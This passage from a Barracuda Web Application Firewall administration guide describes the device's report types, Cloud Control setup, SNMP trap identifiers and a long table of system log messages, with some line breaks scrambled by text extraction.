-Month-Date (i.e.YYYY-MM-DD) format.
Y plots display the count of attacks
corresponding to each day.
Top Accessed Domains Column Chart X plots display the accessed domain
names based on the requests received.
Y plots display the count of requests
corresponding to each domain..
Top Attacked Domains Column Chart X plots display the name of attacked
domains..
Y plots display the count of attacks..
Performance Summary Line Chart X plots display the date in Year-Month-D

ate (i.e.YYYY-MM-DD) format
Y plots display the response time (in
milliseconds) corresponding to each
day..
Server Response Summary Pie Chart Displays the distribution of HTTP response
code (2xx, 3xx, 4xx, etc.) count in the pie
chart.
Total Bandwidth Line Chart X plots display the date in Year-Month-D

Y plots display bandwidth usage
corresponding to each day..
Attacks Stack Column X plots display the date in Year-Month-D

Y plots display the count of attacks
corresponding to each day..
Example for System Summary Report:



Administration/Audit reports cover server details and the login/logout activities performed by different user roles. For example:
Detailed report of configured servers.

Total number of activities performed by each role.
The following table provides a detailed description of each report in the Administration/Audit Reports section:
Report Name Report Description Report Type
Server Monitoring Displays details of configured servers. Plain Text
Server Monitoring report includes the

following information:
IP Address:Port
Time
Status
Detail
RBA Activity Displays total number of activities performed Plain Text

by each role.
RBA Activity report includes the following

information:
User
Successful Logins
Failed Logins
Last Login
Last Activity
Last Activity Time
Last Logout
Example for Server Monitoring Report:
Example for RBA Activity Report:


Configuration Summary
Configuration Summary reports cover:
Performance of Barracuda Web Application Firewall features such as Load Balancing, Rate Control, Learning, etc.
Details of digital certificates including issuing date, expiry date, and associated services
Details of accounts, their users, privileges assigned to them, permitted operations, etc.
Names of the URL Profiles, Parameter Profiles, Header ACLs and URL ACLs associated with a service
The following table provides a detailed description of each report in the Configuration Summary section:
Report Name Report Description Report Type
Application Summary Displays the summary of configured Plain Text

applications and associated policies.
Application Summary report includes:
Application Name
IP Address:Port
Server-IP:Port
Application Policies
Traffic Management
Security
URL Policies
Certificate Status Report Displays the summary of created/uploaded Plain Text

certificates and associated applications.
Certificate Status report includes:
Certificate Name
Certificate Type
Issuing Date
Expiry Date
Associated Applications
Administrative Accounts Displays the operational and configuration Plain Text

privileges allowed for each role.
Administrative Accounts report includes:
Role Name
User
Denied Screens
Operations
Services
Security Policies
Authentication Services
URL Profile and ACLs Summary Displays the summary of URL Profiles, Plain Text
Parameter Profiles, Header ACLs and URL
ACLs associated with the services
configured on the Barracuda Web
Server Summary Displays the configuration settings of Plain Text

servers.
Server Summary report includes:
Application Name
Server Name/IP Address
Status
OOB Health Checks Status
Connection Pooling Status
Client Impersonation Status
Example for Application Summary Report:

Example for Certificate Status Report:
Example for Administrative Accounts Report:
Example for Server Summary Report:


PCI DSS Reports

PCI reports detail compliance with PCI (Payment Card Industry) standards and display:
Combined details of PCI attacks such as top attacking clients, and top attacked services, domains, and URLs
Details of PCI directives and the Barracuda Web Application Firewall compliance with those directives
The following table provides a detailed description of each report in the PCI DSS Reports section:
Report Name Report Description Graph/Chart Type Data in Graph Chart
PCI Attacks:
Top Attacking Clients Displays the number of attacks Column Chart X plots display the IP
from client(s).. address(es) of attacking
clients.
Y plots display the count of
attacks.
Top Attacked Domains Displays top attacked domains Column Chart X plots display the name of
based on the requests received. attacked domains.
attacks.
Top Attacked URLs Displays top attacked URLs Column Chart X plots display the attacked
based on the requests received. URLs.
attacks.
Attacks By Service Displays the number of attacks Column Chart X plots display the IP
per service. address(es) of attacked
service(s).
attacks.
Report Name Report Description Graph/Chart Type Data in Graph Chart
PCI Compliance (PCI DSS V2.0) Displays the details of the PCI Plain Text None
directives.
Example for PCI Attacks Report:

Example for PCI Compliance Report:


Reporting 7.8 and Earlier

You can configure and generate reports of various types, based on all logged information, which helps in managing day-to-day operation. The
Barracuda Web Application Firewall reports are broadly classified into four functional groups, each containing a predefined set of report types.
Select a Report Group, then a corresponding Report Type from the drop-down list to generate/schedule a report. The four report groups are:
Security and Traffic Reports
Security and Traffic reports contain the Web attack prevention activity performed by the Barracuda Web Application Firewall. Note: Some report
types (namely: Top Clients by Bandwidth, Top URL by Bandwidth, Top Domains by Bandwidth, Top Services by Bandwidth, and Top
Entry Pages) will not include data corresponding to URLs containing files with extension jpg, png, gif, ico, css, js.
Audit Reports
Audit reports contain server details and the login/logout activities performed by different user roles.
Config Summary Reports
Config Summary reports contain:
Performance of the Barracuda Web Application Firewall features such as Load Balancing, Rate Control, Learning, etc.
Details of the digital certificates like issuing date, expiry date, and associated services.
Details of accounts, their users, privileges assigned to them, permitted operations, etc.
Names of the URL Profiles, Parameter Profiles, Header ACLs and URL ACLs associated with a service.
PCI Reports
PCI reports detail compliance with PCI (Payment Card Industry) standards and display:
Combined details of the PCI attacks such as top attacking Clients, and top attacked Services, Domains, and URLs.
Details of the PCI directives and the Barracuda Web Application Firewall compliance with those directives.
Generating Reports
Use BASIC > Reports to choose different reports that can help you keep track of the activity of the Barracuda Web Application Firewall.
Generate a report on demand, or configure the Barracuda Web Application Firewall to automatically generate reports on a daily, weekly, or
monthly basis, emailing the reports to configured email addresses. For information on aggregating reports across multiple Barracuda Web
Application Firewall appliances, see How to Set Up Barracuda Cloud Control. Reports can be based on user-activity, content, or actions.
For detailed descriptions, see the online help on the BASIC > Reports page.
Only one-time reports can be displayed when report processing is done. Scheduled reports are emailed when done.

How to Set Up Barracuda Cloud Control
Barracuda Cloud Control enables administrators to manage, monitor and configure multiple Barracuda Web Application Firewall at one time from
one console. The same tabbed pages are available on Barracuda Cloud Control for managing all aspects of your Barracuda Web Application
Firewall configuration that you see in each individual web interface, and you can create aggregated reports for multiple devices from the
Barracuda Cloud Control console. You can connect one or more Barracuda Web Application Firewalls to Barracuda Cloud Control by doing the
following:
1. If you don't already have an account with Barracuda Networks, see Create a Barracuda Cloud Control Account.
2. Make a note of your username (email address) and password.
3. Log into your Barracuda Web Application Firewall as the administrator. From the ADVANCED > Firmware Upgrade page, check to
make sure you have the latest firmware installed. If not, download and install it now.
4. From the ADVANCED > Cloud Control page, enter the Barracuda Networks username and password you created and click Yes to
connect to Barracuda Cloud Control. Note that your Barracuda Web Application Firewall can connect with only one Barracuda Cloud
Control account at a time.
5. Log into Barracuda Cloud Control with your username and password and you will see your Barracuda Web Application Firewall statistics
displayed on the BASIC > Dashboard page. To access the web interface of your Barracuda Web Application Firewall, click on the link in
the Products column in the Appliance Control Center pane on the left side of the page. Or you can click on the product name in the
Product column of the Unit Health pane on the right side of the page.
6. Follow steps 3 and 4 to connect every subsequent Barracuda Web Application Firewall to Barracuda Cloud Control.
To disconnect your Barracuda Web Application Firewall from Barracuda Cloud Control, from the ADVANCED > Cloud Control page, enter the
Barracuda Cloud Control username and password and click No for Connect to Barracuda Cloud Control.
For details on using Barracuda Cloud Control, please see Barracuda Cloud Control - Overview.

Receiving Trap Messages and System Alerts
From the BASIC > Administration page under Trap Receivers, specify the client IP address and port number to receive trap messages. An
alert email is sent to the recipient’s email address, if the email is configured in the Email Notifications section on the BASIC > Administration p
age.
Trap defines the SNMP trap for generating customized alerts for an event. The default alerts and their descriptions are given in the following
table:
Trap Name Object ID Description
TempCritical 1.3.6.1.4.1.20632.8.1.3 Temperature of any one of CPU1, CPU1

VRM, CPU2, CPU2 VRM, board or RAM
exceeded its threshold value.
TempHigh 1.3.6.1.4.1.20632.8.1.4 Temperature of any one of CPU1, CPU1

VRM, CPU2, CPU2 VRM, board or RAM is
higher than 80C.
SystemFailOver 1.3.6.1.4.1.20632.8.1.5 System failed over to redundant system.
SwitchingToMaintMode 1.3.6.1.4.1.20632.8.1.6 System is switching to Maintenance mode.
FanDead 1.3.6.1.4.1.20632.8.1.7 One of the system fan is dead.
DataPortLinkDown 1.3.6.1.4.1.20632.8.1.8 Data port link (interface1 or interface2) is

down.
ServerDown 1.3.6.1.4.1.20632.8.1.9 Server is down.
PeerDown 1.3.6.1.4.1.20632.8.1.10 Peer is down in redundant environment.
DataPortLinkUp 1.3.6.1.4.1.20632.8.1.11 Data port link (interface1 and interface2) is

up.
ServerUp 1.3.6.1.4.1.20632.8.1.12 Server is up.
PeerUp 1.3.6.1.4.1.20632.8.1.13 Peer is up in redundant environment.
CookieEncryptionKeyAboutToExpire 1.3.6.1.4.1.20632.8.1.16 Shared secret key is about to expire.
CookieEncryptionKeyExpired 1.3.6.1.4.1.20632.8.1.17 Shared secret key has expired.
FirmwareStorageHigh 1.3.6.1.4.1.20632.8.1.18 Firmware storage exceeds 75%.
LogStorageHigh 1.3.6.1.4.1.20632.8.1.19 Log storage exceeds 85%.
RaidDegrading 1.3.6.1.4.1.20632.8.1.20 One of the RAID arrays is degrading.
MemoryUsageHigh 1.3.6.1.4.1.20632.8.1.26 Memory usage exceeds 85%.
In addition to the above trap messages, the Barracuda Web Application Firewall sends out emails for the following three system alerts:
Your Energize Update subscription is about to expire.

New firmware updates are available.
Your system is low on disk space.
Apart from these, you can use the SNMP GET commands to view important statistics of the Barracuda Web Application Firewall. For information
on the SNMP GET commands, refer to SNMP GET Commands.

System Log Messages
The following is the list of system log messages which includes:
Log Category - The Severity Level of the log.

Log ID - The Event ID of the log.
Log Message - Description about the log.
Log Category Log ID Log Message
Data Path Monitoring (STM)
LOG_NOTICE 1003 Mem Start: SCB <start-address>, Low

<start-address>, High <start-address>
LOG_CRIT 1013 System startup failed at initializing: <stage>.

Switching to maintenance mode
LOG_CRIT 1014 Shutting down all services
LOG_NOTICE 1014 Shutting down services completed
LOG_NOTICE 1015 Restarting services
LOG_NOTICE 1015 Restarting services completed
LOG_NOTICE 1024 Activate: Default boot image set to <Image

Name>
LOG_EMERG 1105 <Process> is not present
LOG_NOTICE 1111 Process mon /proc error ret =<retcode>

comm=<commandid> pid=<process-id>
LOG_ALERT 1119 (System is getting real hot) or (Possible

overheating at device <device-name> temp
reading=<temp in 'C>)
LOG_ALERT 1125 SBC PII temp overshoot.
LOG_ALERT 1126 System highest temp has reached =

<External temp 'C> <Internal Temp in 'C>
LOG_ALERT 1128 In Fan Group <Group ID> Fan <Fan ID> is

Running at <Current Value> rps which is less
than expected <default value>
LOG_NOTICE 1130 HW: Changing FAN speed <Old Value> ->

<New Value> TempReadings (<Max internal
'C> <Max External temp in 'C>])
LOG_NOTICE 1203 SBC FAN <fan-name> detected rpm = <rpm

value>
Threshold Controlled (THRSHLD)
LOG_ALERT 50001 Threshold Level crossed.
LOG_ALERT 50002 Threshold Level crossed on a service.
LOG_ALERT 50003 System critical temp has reached.
LOG_ALERT 50004 System highest temp has reached.
LOG_ALERT 50005 One of the CPU/System fans is dead.
LOG_ALERT 50007 Firmware storage exceeds 85%.
LOG_ALERT 50008 Mail storage exceeds 85%.

LOG_ALERT 50009 Log storage exceeds 85%.
LOG_ALERT 50010 One of the RAID arrays is degrading.
SERVICE
LOG_NOTICE 14001 New Service (ID 0x<vip-context>) Created at

<IP Address>:<Port>
LOG_ERROR 14001 Failed to Create Service at <IP

Address>:<Port>
LOG_NOTICE 14002 Service Started <IP Address>:<Port>
LOG_ERROR 14003 Failed to Delete Service (ID 0x%08x) at <IP

Address>:<Port>
LOG_ERROR 14004 Failed to Create Rule at <IP

Address>:<Port>
LOG_NOTICE 14004 New Rule (ID 0x<rule-context>) Created at

<IP Address>:<Port> for ID 0x<vip-context>
LOG_NOTICE 14005 Commited: URL [<URL Key>] Header

[<Header Key>]
LOG_ERROR 14006 Deleted Rule (ID <vapp-context> at

<IP:Port> URL [<URL Key>] Header
[<Header Key>]
LOG_ERROR 14007 Failed to Create Service at <IP

Address>:<Port>
LOG_NOTICE 14007 New Vapp (ID 0x<vapp-context>) Created at

<IP Address>:<Port> for ID 0x<vip-context>
LOG_NOTICE 14008 Failed to commit Application: Domain

[<Application Rule Domain>] URL
[<Application Rule URL>]
LOG_ERROR 14009 Failed to Delete Vapp (ID 0x<vapp-context>)

at <IP Address>:<Port> Domain
[<Application Rule Domain>] URL
[<Application Rule URL>]
Config Agent (CONFIG)
LOG_ERROR 12001 Local GATEWAY_NAME not found
LOG_ERROR 12001 Digest failed
LOG_ERROR 12001 No Monitoring Dispatcher found
LOG_ERROR 12001 To execute this operation, peer node should

be non-operational
LOG_ERROR 12001 Configuring Secure Traffic Manager

Succeeded
LOG_ERROR 12001 Failed to resolve type of clear stats
LOG_ERROR 12002 Duplicate parameter
LOG_ERROR 12002 Target doesn't exist
LOG_ERROR 12002 Deleting RuleBackup
LOG_ERROR 12002 RuleBackup delete succeeded
LOG_ERROR 12002 Deleting ServerBackup
LOG_ERROR 12002 ServerBackup delete succeeded

LOG_ERROR 12002 Unable to delete ServerBackup
LOG_ERROR 12002 Deleting Server
LOG_ERROR 12002 Server delete succeeded
LOG_ERROR 12002 Unable to delete Server
LOG_ERROR 12002 Deleting application key
LOG_ERROR 12002 Application key delete succeeded
LOG_ERROR 12002 Unable to delete application key
LOG_ERROR 12002 Deleting QOS class
LOG_ERROR 12002 QOS class delete succeeded
LOG_ERROR 12002 Unable to delete QOS class
LOG_ERROR 12002 Deleting Service
LOG_ERROR 12002 Service delete succeeded
LOG_ERROR 12002 Unable to delete Service
LOG_ERROR 12002 Deleting ACL
LOG_ERROR 12002 ACL delete succeeded
LOG_ERROR 12002 Unable to delete ACL
LOG_ERROR 12002 Deleting NAT entry
LOG_ERROR 12002 NAT entry delete succeeded
LOG_ERROR 12002 Unable to delete NAT entry
LOG_ERROR 12002 Deleting ARP entry
LOG_ERROR 12002 ARP entry delete succeeded
LOG_ERROR 12002 Duplicate route
LOG_ERROR 12002 Deleting route
LOG_ERROR 12002 Route delete succeeded
LOG_ERROR 12002 Unable to delete route
LOG_ERROR 12002 Deleting Interface
LOG_ERROR 12002 Interface delete succeeded
LOG_ERROR 12002 Unable to delete Interface
LOG_ERROR 12002 Deleting VirtualHost
LOG_ERROR 12002 VirtualHost delete succeeded
LOG_ERROR 12002 Unable to delete VirtualHost
LOG_ERROR 12002 Adding VirtualHost
LOG_ERROR 12002 VirtualHost add succeeded
LOG_ERROR 12002 Unable to add VirtualHost
LOG_ERROR 12002 Adding Interface
LOG_ERROR 12002 Interface add succeeded
LOG_ERROR 12002 Unable to add Interface
LOG_ERROR 12002 Interface modify succeeded

LOG_ERROR 12002 Unable to modify Interface
LOG_ERROR 12002 Adding ARP entry
LOG_ERROR 12002 ARP entry add succeeded
LOG_ERROR 12002 Unable to add ARP entry
LOG_ERROR 12002 ARP entry modify succeeded
LOG_ERROR 12002 Unable to modify ARP entry
LOG_ERROR 12002 Adding Route
LOG_ERROR 12002 Route add succeeded
LOG_ERROR 12002 Unable to add Route
LOG_ERROR 12002 Gateway is not directly reachable on any

interface
LOG_CRIT 12003 Failed to retrieve initial groups
LOG_ERROR 12004 Can't store rule ID
LOG_ERROR 12005 Can't get " NEXTSAPID ": missing " SAPID "
or error retrieving " SAPID
LOG_ERROR 12007 $NC_INSTALL_ROOT not set
LOG_ERROR 12007 Target doesn't exist
LOG_ERROR 12007 Failed to create server
LOG_ERROR 12007 SetServerConnAttr failed
LOG_ERROR 12007 SetServerRedirectAttr failed
LOG_ERROR 12007 SetServerOutOfBandMonitorAttr failed
LOG_ERROR 12007 SetServerMonitorAttr failed
LOG_ERROR 12007 SetServerLBAttr failed
LOG_ERROR 12007 StartServer failed
LOG_ERROR 12007 SetServerSSLServicePolicy failed
LOG_ERROR 12007 SetServerSSLServiceOn failed
LOG_ERROR 12007 SetServerSSLServiceOff failed
LOG_ERROR 12007 ActiveServerOutOfBandMonitorAttr failed
LOG_ERROR 12007 Failed to delete server
LOG_ERROR 12007 Failed to reset Server IP, Port or VLAN
LOG_ERROR 12007 Failed to look up server
LOG_ERROR 12007 SetServerTcpMonitorAttr failed
LOG_ERROR 12007 EnableServer failed
LOG_ERROR 12007 DisableServer failed
LOG_ERROR 12007 ActiveServerOutOfBandMonitorAttr failed
LOG_ERROR 12008 Duplicate server
LOG_ERROR 12008 Attaching server
LOG_ERROR 12008 Attaching server succeeded
LOG_ERROR 12008 Failed to look up back-end server

LOG_ERROR 12008 Detaching server
LOG_ERROR 12008 Detaching server succeeded
LOG_ERROR 12009 OUT OF MEMORY !!! Asserting…
LOG_ERROR 12009 Error in reading ReadXmlFileIntoString
LOG_ERROR 12009 sapIndex.AddFromXMLStr (..., SAP::nsap)

failed
LOG_ERROR 12009 Could not find mgmt container
LOG_ERROR 12009 Could not find ports/ethernet container
LOG_ERROR 12009 Could not find hardware container
LOG_ERROR 12009 Could not find box container
LOG_ERROR 12009 Could not find linux interface
LOG_ERROR 12009 Could get local box path
LOG_ERROR 12009 AddSAP for box2SAP failed
LOG_ERROR 12009 RecurAddChldOfAggSAP for box2 failed
LOG_ERROR 12009 SetBoxParametersFromOrgTree failed

(box2) !
LOG_ERROR 12009 SetBoxName failed (box2) !
LOG_ERROR 12009 SetBoxParametersFromOrgTree failed !
LOG_ERROR 12009 In SetBoxParametersFromOrgTree. Invalid

path specified
LOG_ERROR 12009 Could not find Linux interface
LOG_ERROR 12009 There should have been 3 physical

interfaces.
LOG_ERROR 12009 SetParameterValuesUnderPath failed !
LOG_ERROR 12009 in SetBoxParametersFromOrgTree.

UpdateDefaultRoute failed !
LOG_ERROR 12009 In GetClearConfTree. SetInitValuesForCC

failed !
LOG_ERROR 12009 In UpdateDefaultRoute. Should have

matched only one route !
LOG_ERROR 12009 In UpdateDefaultRoute. tmpIdx.GetAggSAP

failed !
LOG_ERROR 12009 In UpdateDefaultRoute.

sapIndex.GetParamSAP failed !
LOG_ERROR 12009 In UpdateDefaultRoute.

tmpIdx.GetParamSAP failed !
LOG_ERROR 12009 In UpdateDefaultRoute. tmpIdx.ModifySAP

failed !
LOG_ERROR 12009 In GetMD5HashForFile.

CheckIfValidFileToRetrieve failed
LOG_ERROR 12009 GetPathForUser failed !
LOG_ERROR 12009 in PutSAPTree. GetHomeDirForUser failed !
LOG_ERROR 12009 In PutSAPTree. Invalid path specified !

LOG_ERROR 12009 In PutSAPTree. Path not found in tmp

sapIndex
LOG_ERROR 12009 Error. AddFromXMLStr failed !
LOG_ERROR 12009 in PutSAPTree. Invalid node in treediff result
LOG_ERROR 12009 in PutSAPTree. No acl perm
LOG_ERROR 12009 in PutSAPTree.ModifySAP failed
LOG_ERROR 12009 in PutSAPTree. Trying to modify a read-only

node
LOG_ERROR 12009 Cannot modify a read-only node
LOG_ERROR 12009 Couldn't read old bind value
LOG_ERROR 12009 in PutSAPTree.ModifySAP failed
LOG_ERROR 12009 Can't replace the root / (session.cc)in

PutSAPTree. GetFatherPath failed
LOG_ERROR 12009 in PutSAPTree.AddChildSAP failed
LOG_ERROR 12009 Can't replace the root /
LOG_ERROR 12009 in PutSAPTree.DeleteSAPTree failed
LOG_ERROR 12009 Error invalid operation type
LOG_ERROR 12009 PutRootSAPTree failed in GetAggSAP
LOG_ERROR 12009 No path provided
LOG_ERROR 12009 Failed due to insufficient user permission
LOG_ERROR 12009 Internal error while adding a child node!
LOG_ERROR 12009 Internal error: while parsing query!
LOG_ERROR 12009 No Parameter found for querying
LOG_ERROR 12009 Parameter must be specified in a Container.
LOG_ERROR 12009 ERROR ! No column names specified!
LOG_ERROR 12009 Invalid or non existent home directory found !
LOG_ERROR 12009 CheckPermForInterNodes failed
LOG_ERROR 12009 GetPathForUser failed
LOG_ERROR 12009 Context doesn't exist !
LOG_ERROR 12009 In CheckPermForQuery. AclMatchAuth

failed!
LOG_ERROR 12009 in CheckPermForInterNodes.

GetHomeDirForUser failed
LOG_ERROR 12009 In CheckPermForInterNodes. AclMatchAuth

failed!
LOG_ERROR 12009 in CheckPermAndSet.

GetPermissionForUser failed
LOG_ERROR 12009 Non-existing path corresponding to global

parameters
LOG_ERROR 12009 Error in SystemBackUp. failed to acquire

mutex.
LOG_ERROR 12009 in RecurAddAcl. GetRelativePath failed !

LOG_ERROR 12009 Session::GetCommandsForUser.
LOG_ERROR 12009 Empty peer gateway key
LOG_ERROR 12009 Setting of peer gateway key failed
LOG_ERROR 12009 in CheckReadPermOnParent.

GetFatherPath failed
LOG_ERROR 12009 in GetAbsBindPath. GetHomeDirForUser

failed !
LOG_ERROR 12009 GetWacBoxVersion failed !
LOG_ERROR 12009 GetInterfaceAddress failed !
LOG_ERROR 12010 Failed to set SetVipSSLEphemeralKey
LOG_ERROR 12010 Policy is bound to more than one QOS class
LOG_ERROR 12010 Failed to set " SERVICE_APP_PROTOCOL

"
LOG_ERROR 12010 Failed to set " SERVICE_APP_PROTOCOL

" on
LOG_ERROR 12010 Adding qos class
LOG_ERROR 12010 Setting qos class
LOG_ERROR 12010 Unsetting qos class
LOG_ERROR 12010 Duplicate application
LOG_ERROR 12010 Failed to find back-end server in server list
LOG_ERROR 12010 Failed to look up Secure Traffic Manager

object
LOG_ERROR 12011 Couldn't add paramSAP, name:
LOG_ERROR 12013 Failed to allocate space for integer argument
LOG_ERROR 12013 Failed to allocate space for float argument
LOG_ERROR 12013 Failed to allocate space for long long

argument
LOG_ERROR 12013 Failed to allocate space for char string

argument
LOG_ERROR 12014 Unable to get import/export handle
LOG_ERROR 12014 Unable to set error handle
LOG_ERROR 12014 Couldn't get file handle
LOG_ERROR 12014 Set file handle failed
LOG_ERROR 12014 Couldn't ready curl for upload
LOG_ERROR 12014 Couldn't set file size
LOG_ERROR 12014 Unsupported method
LOG_ERROR 12014 Couldn't set target
LOG_ERROR 12015 SSL Version 3 enabled
LOG_ERROR 12015 TLS enabled
LOG_ERROR 12015 No key/cert bindings found
LOG_ERROR 12015 Attempt to use unsupported key type

LOG_ERROR 12015 Unable to extract certificate
LOG_ERROR 12015 Unable to extract issuer certificate
LOG_ERROR 12015 Unable to extract key
LOG_ERROR 12015 Unable to extract exchange key
LOG_ERROR 12015 Error extracting trusted certificate
LOG_ERROR 12018 Internal Error
LOG_ERROR 12018 Invalid Path Specified
LOG_ERROR 12019 Unable to allocate memory
LOG_ERROR 12021 in ParamCmp. Cant modify node attributes
LOG_ERROR 12021 Incorrect permissions given to root role
LOG_ERROR 12021 Cannot modify ACL for root node
LOG_ERROR 12021 Cannot give write permissions for a

read-only node.
LOG_ERROR 12021 in TreeDiff::GetDiff. Invalid path passed !
LOG_ERROR 12021 in AggCmp. Cant modify node attributes
LOG_ERROR 12021 managementSystemErrorMessage
LOG_ERROR 12021 in GetDiff. Retrieved inv. node
LOG_ERROR 12021 in GetDiff.AddInterNodes fail!
LOG_ERROR 12021 in GetDiff. inv. node
LOG_ERROR 12021 In GetDiff. invalid return from SAPCmp!
LOG_ERROR 12024 Backup rule group cannot be the same as

the primary rule group
LOG_ERROR 12027 Value for "

CACHE_SVC_MAX_OBJECT_SIZE " too
large
LOG_ERROR 12028 Invalid value for "

NET_INTERFACE_OPERATION_STATUS "
. Using default
LOG_ERROR 12028 Unable to set media-mode
LOG_ERROR 12029 Failed to create HTTP monitor
LOG_ERROR 12030 Failed to look up primary server
LOG_ERROR 12030 Failed to look up backup server
LOG_ERROR 12031 Failed to add route on <mgmt-port> due to:

netmask doesn't match route address
LOG_ERROR 12031 Netmask doesn't match route address
LOG_ERROR 12031 Modify Route: Unsupported operation
LOG_ERROR 12032 Failed to add route
LOG_ERROR 12033 Unsupported operation
LOG_ERROR 12038 Unexpected REN_AGG
LOG_NOTICE 12040 Processing messages in the list
LOG_ERROR 12041 Connection NULL in

NC_RemoteCaller::getResponseHandle

LOG_ERROR 12049 Can not parse cluster info
LOG_ERROR 12049 Can not send message to heartbeat.

Heartbeat Socket is NULL
LOG_CRIT 12049 Peer IP Address is NULL. Exiting
LOG_CRIT 12049 $NC_HEARTBEAT_DIR not set. Exiting
LOG_NOTICE 12049 Processing messages in the list failed.

Ignoring the error
LOG_NOTICE 12049 Starting main message processing loop
LOG_NOTICE 12049 Initiating login to Local SAPD after updating

configuration
LOG_NOTICE 12049 Getting Cluster Information after updating

configuration
LOG_NOTICE 12049 Configuration database versions match.

Setting contactPeer flag to true
LOG_NOTICE 12049 Configuration database versions mismatch.

Setting contactPeer flag to false.
LOG_CRIT 12049 Can not relogin to SAPD. Exiting
LOG_CRIT 12049 Going to maintenance mode
LOG_CRIT 12049 $NC_INSTALL_ROOT not set.
LOG_CRIT 12049 Failed to create cluster key. This will

shutdown communication with the peer-node
LOG_CRIT 12049 Failed to create peer-gateway key. This will

shutdown communication with the peer-node
LOG_CRIT 12049 Failed to create encryption keys for

peer-peer communication
LOG_ERROR 12050 Heartbeat Client closing socket
LOG_ERROR 12050 Heartbeat Client can not open socket
LOG_ERROR 12050 Heartbeat Client can not read message from

Heartbeat Server
LOG_ERROR 12050 Can not send message to Heartbeat
LOG_ERROR 12051 The account has been disabled. Please

contact your admin
LOG_ERROR 12051 Only one more day left to expire your

password. Please change your password
now
LOG_ERROR 12051 Your password is about to expire. Please

change your password
LOG_ERROR 12053 Failed to initialize signal handlers
LOG_ERROR 12053 Failed to digest initial configuration
LOG_ERROR 12053 Failed to bind transResponse socket on

127.0.0.1
LOG_ERROR 12053 Exec for switchtomaint.sh failed
LOG_ERROR 12053 Termination requested by the signal handler
LOG_ERROR 12054 GetCmdGrpXML failed

LOG_ERROR 12054 sapIndex.AddFromXMLStr(..., \"nc:ncRoot\")

failed
LOG_ERROR 12054 Usage: sap_initdb xmlFile
LOG_ERROR 12054 Failed to initialize the sessions DB
LOG_ERROR 12054 Failed to initialize SAP DB
LOG_ERROR 12054 Failed to set System Configuration

Timestamp to 0
LOG_ERROR 12054 Failed to set Configuration Tree Timestamp

to 0
LOG_ERROR 12057 Can't store vhid
LOG_ERROR 12057 Updating virtual host id is not supported
LOG_ERROR 12058 Sysmon Client closing socket
LOG_ERROR 12058 Sysmon Client can not open socket
LOG_ERROR 12058 Sysmon Client: cannot bind to Socket
LOG_ERROR 12058 Sysmon Client can not read message
LOG_ERROR 12058 Can not allocate memory for sysmon event

message
LOG_ERROR 12058 Can not allocate memory for sapd event

message
LOG_ERROR 12058 Unknown message received from Sysmon
LOG_ERROR 12058 Unknown message to sysmon
LOG_ERROR 12066 Socket::WritePktToSocket - sockfd == -1
LOG_ERROR 12067 Failed to look up associated application
LOG_ERROR 12067 Adding Application
LOG_ERROR 12067 Duplicate app key
LOG_ERROR 12067 No app keys
LOG_ERROR 12067 Failed find back-end server in server list
LOG_ERROR 12067 No such object
LOG_ERROR 12068 No rules
LOG_ERROR 12068 Failed find back-end server in server list
LOG_ERROR 12070 Invalid value specified for

IPS_COOKIE_MODE),
LOG_ERROR 12073 Duplicate User Realm name:

"+authUserRealmName
LOG_ERROR 12073 Failed to write userRealm Name

"+authUserRealmName
LOG_ERROR 12073 User Realm name doesn't exist
LOG_ERROR 12073 Failed to delete User Realm name "+

realms_.GetRealmName
LOG_ERROR 12073 Failed to delete User Realm conf file "+

realms_.GetRealmName
LOG_ERROR 12074 InterfaceDependantKey

LOG_ERROR 12081 Finalize succeeded!
LOG_ERROR 12083 Failed to look up Secure Traffic Manager

object
LOG_ERROR 12083 No such object
LOG_ERROR 12085 Invalid parameter length "

IPS_WEBGATE_START_URL "
LOG_ERROR 12085 Invalid parameter length

IPS_WEBGATE_REDIRECT_URL

IPS_WEBGATE_COOKIE_NAME

IPS_WEBGATE_COOKIE_VALUE

IPS_WEBGATE_COOKIE_EXPIRES

IPS_WEBGATE_COOKIE_PATH

IPS_WEBGATE_COOKIE_DOMAIN
LOG_ERROR 12085 Invalid parameter value "

IPS_WEBGATE_COOKIE_SECURE
LOG_ERROR 12088 Invalid parameter value

<IPS_REDIRECT_STATUS>

<IPS_REWRITE_STATUS>

<IPS_BLOCK_SOAP_REQ >
LOG_ERROR 12090 Error in ReconfigureSubPolicies mismatch in

number of sub-policies
LOG_ERROR 12100 Invalid sessionid specified for StartPktTrace
LOG_ERROR 12100 Invalid port specified for Packet dump
LOG_ERROR 12100 Invalid sessionid specified for StartPktTrace
LOG_ERROR 12102 Maximum allowed groups exceeded
LOG_ERROR 12109 Invalid value for < ACL_PROTOCOL > (Must

be an integer between 0 and 255, inclusive)
LOG_ERROR 12109 Unsupported operation ACL
LOG_ERROR 12197 Failed to start Session Recording
LOG_ERROR 12197 Failed to stop Session Recording
Caching (CACHE)
LOG_NOTICE 6001 System Low on Memory: Adjusting Cache

Parameters - Current Max:<Max Size>,
High:<High Water Mark>, Safe<Safe Water
Mark>
LOG_NOTICE 6001 System Low on Memory: Adjusting Cache

Parameters - New Max:<Max Size>,
High:<High Water Mark>, Safe<Safe Water
Mark>
LOG_NOTICE 6002 Cache Purged

LOG_NOTICE 6003 Cache purge failed: instance <Count>, thid

<Thread ID>, table <Table ID>, target
<Size>, collected <Freed Size>
Load Balance (LB)
LOG_ALERT 7005 Server <IP Address>:<Port> is enabled
LOG_ALERT 7006 Server <IP Address>:<Port> is disabled.

New mode <Operational Mode>
LOG_NOTICE 7007 Server <IP Address>:<Port> is created
LOG_ALERT 7008 Server <IP Address>:<Port> is deleted
LOG_ALERT 7012 Server <IP Address>:<Port> is enabled by

configuration.
LOG_ALERT 7013 Server <IP Address>:<Port> is disabled by

configuration.
Access Logs (WEBLOG)
LOG_WARN 9001 Configurations for start or stop time *MAY*

not be proper.
LOG_ERROR 9003 Error: Unable to establish control connection.
LOG_ERROR 9004 Error: Unable to establish data connection
LOG_ERROR 9005 Error: Unable to establish SSL control

connection
LOG_ERROR 9006 Error: Unable to authenticate the user
LOG_ERROR 9007 Error: Unable to transfer data to ftp server:

<IP Address>
LOG_ERROR 9009 Connection to <IP Address> failed, error

code = <Error Code>
LOG_ERROR 9009 SSL Connection to <IP Address> failed
LOG_ERROR 9010 Out of memory for formatting logs
LOG_NOTICE 9013 Dropping logs, running low on memory
LOG_ERROR 9013 Error in hash generation or encryption
LOG_NOTICE 9014 Logging parameters are set for vip <IP

Address>:<Port>
LOG_ERROR 9018 Unable to log the request since FTP server is

slow or unreachable
LOG_ERROR 9018 Dropping logs since queue is full
LOG_ERROR 9019 Signature generation of logs failed
Shared Symmetric Key (SSKEY)
